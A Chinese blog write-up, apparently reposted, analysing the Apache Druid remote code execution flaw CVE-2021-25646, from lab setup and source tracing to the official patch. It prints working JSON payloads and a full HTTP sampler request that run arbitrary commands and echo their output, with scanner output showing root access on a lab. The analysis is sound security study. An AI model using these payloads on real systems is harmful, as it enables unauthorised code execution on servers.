溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎樣進行Apache Druid遠程代碼執(zhí)行漏洞CVE-2021-25646分析

發(fā)布時間:2021-12-29 15:42:48 來源:億速云 閱讀:190 作者:柒染 欄目:安全技術(shù)

怎樣進行Apache Druid遠程代碼執(zhí)行漏洞CVE-2021-25646分析,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

Apache Druid遠程代碼執(zhí)行漏洞(CVE-2021-25646)

靶場搭建

version: "2.2"

volumes:
  metadata_data: {}
  middle_var: {}
  historical_var: {}
  broker_var: {}
  coordinator_var: {}
  router_var: {}

services:
  postgres:
    container_name: postgres
    image: postgres:latest
    volumes:
      - metadata_data:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=FoolishPassword
      - POSTGRES_USER=druid
      - POSTGRES_DB=druid
  # Need 3.5 or later for container nodes
  zookeeper:
    container_name: zookeeper
    image: zookeeper:3.5
    environment:
      - ZOO_MY_ID=1

  coordinator:
    image: apache/druid:0.20.0
    container_name: coordinator
    volumes:
      - ./storage:/opt/data
      - coordinator_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
    ports:
      - "8081:8081"
    command:
      - coordinator
    env_file:
      - environment
  broker:
    image: apache/druid:0.20.0
    container_name: broker
    volumes:
      - broker_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8082:8082"
    command:
      - broker
    env_file:
      - environment
  historical:
    image: apache/druid:0.20.0
    container_name: historical
    volumes:
      - ./storage:/opt/data
      - historical_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8083:8083"
    command:
      - historical
    env_file:
      - environment
  middlemanager:
    image: apache/druid:0.20.0
    container_name: middlemanager
    volumes:
      - ./storage:/opt/data
      - middle_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8091:8091"
    command:
      - middleManager
    env_file:
      - environment
  router:
    image: apache/druid:0.20.0
    container_name: router
    volumes:
      - router_var:/opt/druid/var
    depends_on:
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8888:8888"
    command:
      - router
    env_file:
      - environment

environment

# Java tuning
DRUID_XMX=1g
DRUID_XMS=1g
DRUID_MAXNEWSIZE=250m
DRUID_NEWSIZE=250m
DRUID_MAXDIRECTMEMORYSIZE=6172m

druid_emitter_logging_logLevel=debug

druid_extensions_loadList=["druid-histogram", "druid-datasketches", "druid-lookups-cached-global", "postgresql-metadata-storage"]

druid_zk_service_host=zookeeper

druid_metadata_storage_host=
druid.javascript.enabled = true
druid_metadata_storage_type=postgresql
druid_metadata_storage_connector_connectURI=jdbc:postgresql://postgres:5432/druid
druid_metadata_storage_connector_user=druid
druid_metadata_storage_connector_password=FoolishPassword

druid_coordinator_balancer_strategy=cachingCost

druid_indexer_runner_javaOptsArray=["-server", "-Xmx1g", "-Xms1g", "-XX:MaxDirectMemorySize=4g", "-Duser.timezone=UTC", "-Dfile.encoding=UTF-8", "-Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager"]
druid_indexer_fork_property_druid_processing_buffer_sizeBytes=268435456

druid_storage_type=local
druid_storage_storageDirectory=/opt/data/segments
druid_indexer_logs_type=file
druid_indexer_logs_directory=/opt/data/indexing-logs

druid_processing_numThreads=2
druid_processing_numMergeBuffers=2

DRUID_LOG4J=<?xml version="1.0" encoding="UTF-8" ?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{ISO8601} %p [%t] %c - %m%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root><Logger name="org.apache.druid.jetty.RequestLog" additivity="false" level="DEBUG"><AppenderRef ref="Console"/></Logger></Loggers></Configuration>

漏洞分析

本文講述下,在沒有漏洞詳情的情況下怎么去尋找漏洞點。

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

通過cve的信息,可以推測出Druid在0.20版本以及之前版本存在可以通過javascript來執(zhí)行代碼

由于javascript來執(zhí)行命令,那就要找到j(luò)s解析的引擎。

通過查詢文檔發(fā)現(xiàn)Apache Druid內(nèi)置了Rhino。

Rhino是一個可以將嵌入在JavaScript中的Java代碼解析并執(zhí)行的解析器。該功能是為了能夠動態(tài)的擴展Druid的功能,默認禁用的。

//core/src/main/java/org/apache/druid/js/JavaScriptConfig.java
@PublicApi
public class JavaScriptConfig
{
  public static final int DEFAULT_OPTIMIZATION_LEVEL = 9;

  private static final JavaScriptConfig ENABLED_INSTANCE = new JavaScriptConfig(true);

  @JsonProperty
  private final boolean enabled;

  @JsonCreator
  public JavaScriptConfig(
      @JsonProperty("enabled") boolean enabled
  )
  {
    this.enabled = enabled;
  }

可以看到通過enabled來控制是否開啟,那我們只要找到哪些地方可以控制,就可以利用。

怎樣進行Apache Druid遠程代碼執(zhí)行漏洞CVE-2021-25646分析

這里挑選一個利用流程講,拿javaScriptDimFilter.java為例

indexing-service/src/main/java/org/apache/druid/indexing/overlord/sampler/IndexTaskSamplerSpec.java
public class IndexTaskSamplerSpec implements SamplerSpec
{
  @Nullable
  private final DataSchema dataSchema;
  private final InputSource inputSource;
  /**
   * InputFormat can be null if {@link InputSource#needsFormat()} = false.
   */
  @Nullable
  private final InputFormat inputFormat;
  @Nullable
  private final SamplerConfig samplerConfig;
  private final InputSourceSampler inputSourceSampler;

  @JsonCreator
  public IndexTaskSamplerSpec(
      @JsonProperty("spec") final IndexTask.IndexIngestionSpec ingestionSpec,
      @JsonProperty("samplerConfig") @Nullable final SamplerConfig samplerConfig,
      @JacksonInject InputSourceSampler inputSourceSampler
  )
-> 
server/src/main/java/org/apache/druid/segment/indexing/DataSchema.java
DataSchema 
  @JsonCreator
  public DataSchema(
      @JsonProperty("dataSource") String dataSource,
      @JsonProperty("timestampSpec") @Nullable TimestampSpec timestampSpec, // can be null in old task spec
      @JsonProperty("dimensionsSpec") @Nullable DimensionsSpec dimensionsSpec, // can be null in old task spec
      @JsonProperty("metricsSpec") AggregatorFactory[] aggregators,
      @JsonProperty("granularitySpec") GranularitySpec granularitySpec,
      @JsonProperty("transformSpec") TransformSpec transformSpec,
      @Deprecated @JsonProperty("parser") @Nullable Map<String, Object> parserMap,
      @JacksonInject ObjectMapper objectMapper
  )
-> 
processing/src/main/java/org/apache/druid/segment/transform/TransformSpec.java
class TransformSpec
  @JsonCreator
  public TransformSpec(
      @JsonProperty("filter") final DimFilter filter,
      @JsonProperty("transforms") final List<Transform> transforms
  )
-> 
processing/src/main/java/org/apache/druid/query/filter/DimFilter.java
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes(value = {
    @JsonSubTypes.Type(name = "and", value = AndDimFilter.class),
    @JsonSubTypes.Type(name = "or", value = OrDimFilter.class),
    @JsonSubTypes.Type(name = "not", value = NotDimFilter.class),
    @JsonSubTypes.Type(name = "selector", value = SelectorDimFilter.class),
    @JsonSubTypes.Type(name = "columnComparison", value = ColumnComparisonDimFilter.class),
    @JsonSubTypes.Type(name = "extraction", value = ExtractionDimFilter.class),
    @JsonSubTypes.Type(name = "regex", value = RegexDimFilter.class),
    @JsonSubTypes.Type(name = "search", value = SearchQueryDimFilter.class),
    @JsonSubTypes.Type(name = "javascript", value = JavaScriptDimFilter.class),
    @JsonSubTypes.Type(name = "spatial", value = SpatialDimFilter.class),
    @JsonSubTypes.Type(name = "in", value = InDimFilter.class),
    @JsonSubTypes.Type(name = "bound", value = BoundDimFilter.class),
    @JsonSubTypes.Type(name = "interval", value = IntervalDimFilter.class),
    @JsonSubTypes.Type(name = "like", value = LikeDimFilter.class),
    @JsonSubTypes.Type(name = "expression", value = ExpressionDimFilter.class),
    @JsonSubTypes.Type(name = "true", value = TrueDimFilter.class),
    @JsonSubTypes.Type(name = "false", value = FalseDimFilter.class)
})
-> 
processing/src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java
  @JsonCreator
  public JavaScriptDimFilter(
      @JsonProperty("dimension") String dimension,
      @JsonProperty("function") String function,
      @JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
      @JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
      @JacksonInject JavaScriptConfig config
  )
->
core/src/main/java/org/apache/druid/js/JavaScriptConfig.java
  @JsonCreator
  public JavaScriptConfig(
      @JsonProperty("enabled") boolean enabled
  )
  {
    this.enabled = enabled;
  }

現(xiàn)在就剩下怎么去修改config配置來達到開啟javascript的功能,通過查看官方補丁https://github.com/apache/druid/pull/10818

core/src/main/java/org/apache/druid/guice/GuiceAnnotationIntrospector.java

// We should not allow empty names in any case. However, there is a known bug in Jackson deserializer
    // with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.
    // See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array
    // deserialization failed even when the array is a valid field. To work around this bug, we return
    // an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.
    // This is valid because every property with JsonProperty annoation should have a non-empty name.
    // We can simply remove the below check after the Jackson bug is fixed.
    //
    // This check should be fine for so-called delegate creators that have only one argument without
    // JsonProperty annotation, because this method is not even called for the argument of
    // delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument
    // is some Java type that Jackson already knows how to deserialize. Since there is only one argument,
    // Jackson perhaps is able to just deserialize it without introspection.

可以從補丁文件GuiceAnnotationIntrospector.java的注釋中了解到,即使某個鍵值對的key是空的,jackson仍然會在特定情況下將其解析,并將key為空的值傳給沒有被@JsonProperty修飾的屬性。注釋中也給出了jackson issues的鏈接,里面闡述了這個問題。

@JsonCreator用于在json反序列化時指明調(diào)用特定構(gòu)造方法。

@JsonProperty用于屬性上,作用是把該屬性的名稱序列化為另外一個名稱,比如@JsonProperty("before") String after,會將json里key為before的內(nèi)容解析到after變量上。

當(dāng)注解@JsonCreator修飾方法時(@JsonCreator用于在json反序列化時指明調(diào)用特定構(gòu)造方法)
,方法的所有參數(shù)都會被解析成CreatorProperty類型,如果屬性沒有被@JsonProperty修飾,就會創(chuàng)建一個name為""的CreatorProperty,Jackson會將用戶輸入的key為""的value賦值給該屬性。

基于這個問題,我們可以在符合上述條件的情況下,通過傳入json格式的數(shù)據(jù),覆蓋特定值。

在上面的代碼中,config是沒有被@JsonProperty修飾的,因此當(dāng)用戶傳入key為空的鍵值對時,形如{"":"ParseToConfig"},ParseToConfig會被解析到config變量上。 (ParseToConfig不是JavaScriptConfig類型,此處僅作為簡單演示)

因此此處可以在開發(fā)者預(yù)期外控制config變量,繼續(xù)看看JavaScriptConfig類中做了哪些事。

我們需要構(gòu)造"": { "enabled": true }去開啟javascript enabled

完整的數(shù)據(jù)包可以根據(jù)代碼來生成或直接README中搜索,存在很多示例。

JavaScript解析入口

//org.apache.druid.query.filter.JavaScriptDimFilter

public boolean applyInContext(Context cx, Object input)
{
  if (extractionFn != null) {
    input = extractionFn.apply(input);
  }
  return Context.toBoolean(fnApply.call(cx, scope, scope, new Object[]{input}));
}

新舊版本差異

在測試舊版本0.15.0的時候發(fā)現(xiàn)poc不通用,提示[spec.ioConfig.firehose] is required,查看對應(yīng)代碼

//indexing-service/src/main/java/org/apache/druid/indexing/overlord/sampler/IndexTaskSamplerSpec.java
 @JsonCreator
  public IndexTaskSamplerSpec(
      @JsonProperty("spec") final IndexTask.IndexIngestionSpec ingestionSpec,
      @JsonProperty("samplerConfig") final SamplerConfig samplerConfig,
      @JacksonInject FirehoseSampler firehoseSampler
      @JsonProperty("samplerConfig") @Nullable final SamplerConfig samplerConfig,
      @JacksonInject InputSourceSampler inputSourceSampler
  )
  {
    this.dataSchema = Preconditions.checkNotNull(ingestionSpec, "[spec] is required").getDataSchema();

    Preconditions.checkNotNull(ingestionSpec.getIOConfig(), "[spec.ioConfig] is required");

    this.firehoseFactory = Preconditions.checkNotNull(
        ingestionSpec.getIOConfig().getFirehoseFactory(),
        "[spec.ioConfig.firehose] is required"
    );
    if (ingestionSpec.getIOConfig().getInputSource() != null) {
      this.inputSource = ingestionSpec.getIOConfig().getInputSource();
      if (ingestionSpec.getIOConfig().getInputSource().needsFormat()) {
        this.inputFormat = Preconditions.checkNotNull(
            ingestionSpec.getIOConfig().getInputFormat(),
            "[spec.ioConfig.inputFormat] is required"
        );
      } else {
        this.inputFormat = null;
      }
    } else {
      final FirehoseFactory firehoseFactory = Preconditions.checkNotNull(
          ingestionSpec.getIOConfig().getFirehoseFactory(),
          "[spec.ioConfig.firehose] is required"
      );
      if (!(firehoseFactory instanceof FiniteFirehoseFactory)) {
        throw new IAE("firehose should be an instance of FiniteFirehoseFactory");
      }
      this.inputSource = new FirehoseFactoryToInputSourceAdaptor(
          (FiniteFirehoseFactory) firehoseFactory,
          ingestionSpec.getDataSchema().getParser()
      );
      this.inputFormat = null;
    }

    this.samplerConfig = samplerConfig;
    this.firehoseSampler = firehoseSampler;
    this.inputSourceSampler = inputSourceSampler;
  }

文件歷史上做了3次修改,舊版firehose是必傳,這里注意一點,firehose在0.15.0版本type還沒有inline,用其他類型替代。

0.20.0 POC

{
	"type": "index",
	"spec": {
		"ioConfig": {
			"type": "index",
			"inputSource": {
				"type": "inline",
				"data": "{\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"xxx\":\"x\"}"
			},
			"inputFormat": {
				"type": "json",
				"keepNullColumns": true
			}
		},
		"dataSchema": {
			"dataSource": "sample",
			"timestampSpec": {
				"column": "timestamp",
				"format": "iso"
			},
			"dimensionsSpec": {},
			"transformSpec": {
				"transforms": [],
				"filter": {
					"type": "javascript",
					"dimension": "added",
					"function": "function(value) {java.lang.Runtime.getRuntime().exec('command')}",
					"": {
						"enabled": true
					}
				}
			}
		},
		"type": "index",
		"tuningConfig": {
			"type": "index"
		}
	},
	"samplerConfig": {
		"numRows": 500,
		"timeoutMs": 15000
	}
}

修改POC,inputSource改成firehose,inputFormat新版才有,為了兼容老版本去除。使用parser去解析文件

{
      	"type": "index",
      	"spec": {
      		"ioConfig": {
      			"type": "index",
      			"firehose": {
      				"type": "local",
      				"baseDir": "/xxx",
      				"filter": "xxx"
      			}
      		},
      		"dataSchema": {
      			"dataSource": "%%DATASOURCE%%",
      			"parser": {
      				"parseSpec": {
      					"format": "json",
      					"timestampSpec": {},
      					"dimensionsSpec": {},
      				}
      			}
      		}
      	},
      	"samplerConfig": {
      		"numRows": 10
      	}
      }

曲折的命令回顯

作為掃描器的POC要兼容新老版本,還要做到精準(zhǔn)檢測,單單的命令執(zhí)行沒有回顯肯定不行(要考慮不出網(wǎng)的情況)

回顯思路

1.獲取全局的request,response,來修改當(dāng)前CurrentThread的resposne內(nèi)容

2.報錯回顯

3.寫入文件,讀取文件

4.linux socket的文件描述符(Druid不能在windows安裝)

5. .....

讀寫文件回顯法

通過命令執(zhí)行,把結(jié)果使用jackson的包把json格式的結(jié)果寫入到/tmp下

function(value){var a=new java.io.BufferedWriter(new java.io.FileWriter(\"/tmp/123.json\"));var cmd =java.lang.Runtime.getRuntime().exec(\"{{command}}\");var test = new com.fasterxml.jackson.databind.ObjectMapper();var jsonObj = test.createObjectNode();jsonObj.put(\"time\",\"2015-09-12T00:46:58.771Z\");jsonObj.put(\"test\",new java.util.Scanner(cmd.getInputStream()).useDelimiter(\"\\A\").next());a.write(jsonObj.toString());a.close();

通過寫文件,然后在利用druid的任意文件讀取來獲取命令結(jié)果

但是這里有個坑,因為想要編寫通用新舊版本POC,導(dǎo)致不能使用inline,我這里采用了local方式,但是讀取的文件如果是格式錯誤的,導(dǎo)致異常退出,流程沒有走到命令執(zhí)行的地方。
這里就有了前置條件

找到合法的解析文件讓他不報錯(新版可以直接只用inline不報錯,無影響)

這種方式肯定不是我們想要的,繼續(xù)看代碼分析,后來找到了parse下也可以執(zhí)行function函數(shù), 然后剛好是在解析時候執(zhí)行的命令,在異常前執(zhí)行完畢命令。

{
"dataSchema": {
    "dataSource": "%%DATASOURCE%%",
    "parser": {
        "parseSpec": {
            "format": "javascript",
            "timestampSpec": {},
            "dimensionsSpec": {},
            "function": "function(){ xxxx }}",
            "": {
                "enabled": "true"
            }
        }
    }
}
}

直接命令回顯

在看parseSpec文檔的時候,發(fā)現(xiàn)function可以直接修改回顯內(nèi)容,return的內(nèi)容為{key:value}
改進POC,直接頁面輸出命令結(jié)果

{
      	"type": "index",
      	"spec": {
      		"ioConfig": {
      			"type": "index",
      			"firehose": {
      				"type": "local",
      				"baseDir": "/etc",
      				"filter": "passwd"
      			}
      		},
      		"dataSchema": {
      			"dataSource": "%%DATASOURCE%%",
      			"parser": {
      				"parseSpec": {
      					"format": "javascript",
      					"timestampSpec": {},
      					"dimensionsSpec": {},
      					"function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"{{command}}\").getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"2013-09-01T12:41:27Z\",test: s}}",
      					"": {
      						"enabled": "true"
      					}
      				}
      			}
      		}
      	},
      	"samplerConfig": {
      		"numRows": 10
      	}
      }

漏洞修復(fù)

升級到Apache Druid 0.20.1。

加強訪問控制,禁止未授權(quán)用戶訪問web管理頁面。

官方代碼修復(fù):

//org.apache.druid.guice.GuiceAnnotationIntrospector

 @Override
  public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
  {
    if (ac instanceof AnnotatedParameter) {
      final AnnotatedParameter ap = (AnnotatedParameter) ac;
      if (ap.hasAnnotation(JsonProperty.class)) {
        return JsonIgnoreProperties.Value.empty();
      }
    }

    return JsonIgnoreProperties.Value.forIgnoredProperties("");
  }

重寫了Jackson的findPropertyIgnorals方法

//com.fasterxml.jackson.databind.AnnotationIntrospector

public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
    // 18-Oct-2016, tatu: Used to call deprecated methods for backwards
    //   compatibility in 2.8, but not any more in 2.9
    return JsonIgnoreProperties.Value.empty();
}

在這個方法里,返回了JsonIgnoreProperties.Value.empty()。這意味著Jackson允許一個name為空的屬性。

而修復(fù)后的代碼判斷邏輯為:當(dāng)屬性被@JsonProperty修飾,則允許為空,如果屬性沒有被@JsonProperty修飾,則不允許為空。

漏洞利用

POST /druid/indexer/v1/sampler HTTP/1.1
Host: localhost:8888
Accept: application/json, text/plain
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 902
Connection: keep-alive

{
          "type": "index",
          "spec": {
              "ioConfig": {
                  "type": "index",
                  "firehose": {
                      "type": "local",
                      "baseDir": "/etc",
                      "filter": "passwd"
                  }
              },
              "dataSchema": {
                  "dataSource": "%%DATASOURCE%%",
                  "parser": {
                      "parseSpec": {
                          "format": "javascript",
                          "timestampSpec": {},
                          "dimensionsSpec": {},
                          "function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"{{command}}\").getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"2013-09-01T12:41:27Z\",test: s}}",
                          "": {
                              "enabled": "true"
                          }
                      }
                  }
              }
          },
          "samplerConfig": {
              "numRows": 10
          }
      }

PSF案例

╭─huakai at huakai-deMacBook-Pro in ?/go/src/phenixsuite (develop ●4?7…1?70)
╰─λ ./phenixsuite scan --poc static/pocs/apache-druid-cve-2021-25646-rce-attack.yml --url http://127.0.0.1:8888 --mode attack --options shell                                                                                                   127 < 00:00:00 < 11:20:26
input command (require): id
2021/02/04 11:20:47 scan.go:496: [INFO ] attack poc-yaml-apache-druid-cve-2021-25646-rce-attack
2021/02/04 11:20:47 scan.go:142: [INFO ] scan poc num:1 total:1
2021/02/04 11:20:48 scan.go:633: [INFO ] poc:poc-yaml-apache-druid-cve-2021-25646-rce-attack execute success
2021/02/04 11:20:48 scan.go:313: [INFO ] vul exist poc:poc-yaml-apache-druid-cve-2021-25646-rce-attack url:http://127.0.0.1:8888
 #   target-url              poc-name                                          gev-id       level      category    status   author   require   detail-extend
--- ----------------------- ------------------------------------------------- ------------ ---------- ----------- -------- -------- --------- -------------------------------------------
 1   http://127.0.0.1:8888   poc-yaml-apache-druid-cve-2021-25646-rce-attack   GEV-143659   critical   code-exec   exist    huakai             uid=0(root) gid=0(root) groups=0(root)\\n

看完上述內(nèi)容,你們掌握怎樣進行Apache Druid遠程代碼執(zhí)行漏洞CVE-2021-25646分析的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI